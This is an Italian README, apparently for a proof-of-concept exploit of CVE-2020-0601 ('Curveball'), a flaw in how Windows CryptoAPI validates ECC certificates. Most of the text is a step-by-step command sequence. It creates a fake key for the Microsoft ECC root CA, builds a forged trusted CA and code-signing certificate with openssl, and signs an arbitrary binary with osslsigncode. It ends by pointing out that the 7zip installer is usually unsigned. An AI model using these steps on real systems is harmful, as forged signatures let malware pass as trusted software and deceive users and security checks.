ioncodes/curveballPoC per CVE-2020-0601 - Exploit di CryptoAPI
Una PoC per CVE-2020-0601. Un post dettagliato del blog può essere trovato qui. Questo exploit permette di creare un certificato fidato falso sfruttando come CryptoAPI gestisce alcuni parametri sui certificati basati su ECC.
Clona il repository e aprilo in Visual Studio 2019. Passa a Release e compilalo. Puoi trovare i binari precompilati qui.
.\Curveball.exe MicrosoftECCProductRootCertificateAuthority.cer MicrosoftECCProductRootCertificateAuthority_fake.key
# in linux bash (you can also use Windows but you'd have to get an alternative for osslsigncode). WSL on Windows works fine.
openssl req -new -x509 -key MicrosoftECCProductRootCertificateAuthority_fake.key -out trusted_ca.crt
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
openssl req -new -key cert.key -out cert.csr -config openssl.conf -reqexts v3_cs
openssl x509 -req -in cert.csr -CA trusted_ca.crt -CAkey MicrosoftECCProductRootCertificateAuthority_fake.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl.conf -extensions v3_cs
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile trusted_ca.crt -name "Code Signing" -out cert.p12
./osslsigncode sign -pkcs12 cert.p12 -n "Signed by Layle" -in <BINARY_TO_SIGN> -out <SIGNED_BINARY>
Nota che l'installer di 7zip di solito non è firmato!
